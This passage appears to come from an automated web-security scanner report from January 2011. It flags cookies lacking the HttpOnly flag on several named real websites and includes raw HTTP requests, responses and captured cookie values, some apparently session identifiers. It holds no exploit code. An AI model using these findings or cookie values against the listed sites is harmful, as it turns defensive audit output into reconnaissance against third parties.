HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:43 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 18:23:53 GMT Expires: Mon, 24 Jan 2011 16:19:44 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29391
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-report.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:44 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:43 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:44 GMT; path=/ Last-Modified: Thu, 23 Dec 2010 04:28:12 GMT Expires: Mon, 24 Jan 2011 16:19:44 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /network-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:46 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:45 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:46 GMT; path=/ Last-Modified: Tue, 30 Nov 1999 06:00:00 GMT Expires: Mon, 24 Jan 2011 16:19:46 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 26023
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy-policy.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:41 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:40 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:41 GMT; path=/ Last-Modified: Wed, 30 Jun 2010 17:55:06 GMT Expires: Mon, 24 Jan 2011 16:19:41 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /support-sla.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:04:47 GMT Server: Apache/2.2.17 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; expires=Sun, 24-Jan-2010 16:04:46 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Set-Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; expires=Tue, 24-Jan-2012 16:04:47 GMT; path=/ Last-Modified: Mon, 22 Nov 2010 16:52:12 GMT Expires: Mon, 24 Jan 2011 16:19:47 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 27164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <b ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms-of-service.html HTTP/1.1 Host: www.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: gantry-204ee8af065a346f6e449a73e1f7b0d7-cssstyle=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-presets=deleted; __utmz=173001969.1295877160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gantry-204ee8af065a346f6e449a73e1f7b0d7-font-size-is=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-bodylevel=d532b140cef5c1b2783902e3; gantry-204ee8af065a346f6e449a73e1f7b0d7-backgroundlevel=deleted; 5a3e568434cf5e68c5f222754be27ef3=tbtnb9eq9lvbh56i28r6tshfq3; __utma=173001969.1244189596.1295877160.1295877160.1295877160.1; __utmc=173001969; __utmb=173001969.3.10.1295877160; gantry-204ee8af065a346f6e449a73e1f7b0d7-font-family=deleted; gantry-204ee8af065a346f6e449a73e1f7b0d7-linkcolor=deleted;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.cycletrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:58:43 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 X-Powered-By: PHP/5.2.13 Set-Cookie: location=%5B%7B%22ZIP_CODE%22%3A%2275207%22%2C%22STATE_NAME%22%3A%22Texas%22%2C%22CITY_NAME%22%3A%22Dallas%22%7D%5D; expires=Tue, 24-Jan-2012 23:58:44 GMT Connection: close Content-Type: text/html Content-Length: 93348
<!-- dstolweb09-php5a --><!DOCTYPE html> <html> <head> <title>Motorcycles - Scooters, Dirt Bikes, Choppers, Sport Bikes, and Other Motorcycles for Sale - Cycle Trader.com</title> <meta http-equiv="C ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
symfony=6hvnhit5lq2d9qcjo8guti4nu0; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.dedipower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:42 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.3.3 Set-Cookie: symfony=6hvnhit5lq2d9qcjo8guti4nu0; path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 37440
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.digitalia.be Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /forums/showthread.php HTTP/1.1 Host: www.dynamicdrive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
ELMUNDO_idusr=TT5aC8CoFBUAAB8okbI-c2f1049e2d4516c17b18641aef04f3d5; expires=Fri, 24 Jan 2014 05:05:15 GMT; path=/; domain=.elmundo.es
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.elmundo.es Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Date: Tue, 25 Jan 2011 05:05:15 GMT Content-Type: text/html Connection: close Cache-Control: no-cache X-Accel-Cache-Control: no-cache Set-Cookie: ELMUNDO_idusr=TT5aC8CoFBUAAB8okbI-c2f1049e2d4516c17b18641aef04f3d5; expires=Fri, 24 Jan 2014 05:05:15 GMT; path=/; domain=.elmundo.es Content-Length: 148754
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.employmentguide.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 23:59:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET IISExport: This web site was exported using IIS Export v4.2 Content-type: text/html Page-Completion-Status: Normal Expires: 01/24/11 Pragma: no-cache cache-control: no-cache Page-Completion-Status: Normal Set-Cookie: L=Dallas%2C+TX; path=/; Set-Cookie: SITEMODE=desktop; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.employmentguide.com; Set-Cookie: BIGipServeremploymentguide_pool=889387786.20480.0000; expires=Tue, 25-Jan-2011 01:59:20 GMT; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /uudised/joomla/329-joomla-16-on-saabunud.html HTTP/1.1 Host: www.eraser.ee Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=fYoRD; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=fYoRD; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 30560
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=NgpY2; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=NgpY2; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:49 GMT Content-Length: 11704
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=wYDCq; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=wYDCq; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Mon, 24 Jan 2011 16:05:02 GMT Content-Length: 11725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=aYRu9; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /7NEWS HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=aYRu9; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:40 GMT Content-Length: 174522
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=Tpmq1; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /LIMEprpromo HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Tpmq1; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 155797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /abid.bahloul HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=6G7wO; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 15128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=AGZLa; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /apps/application.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
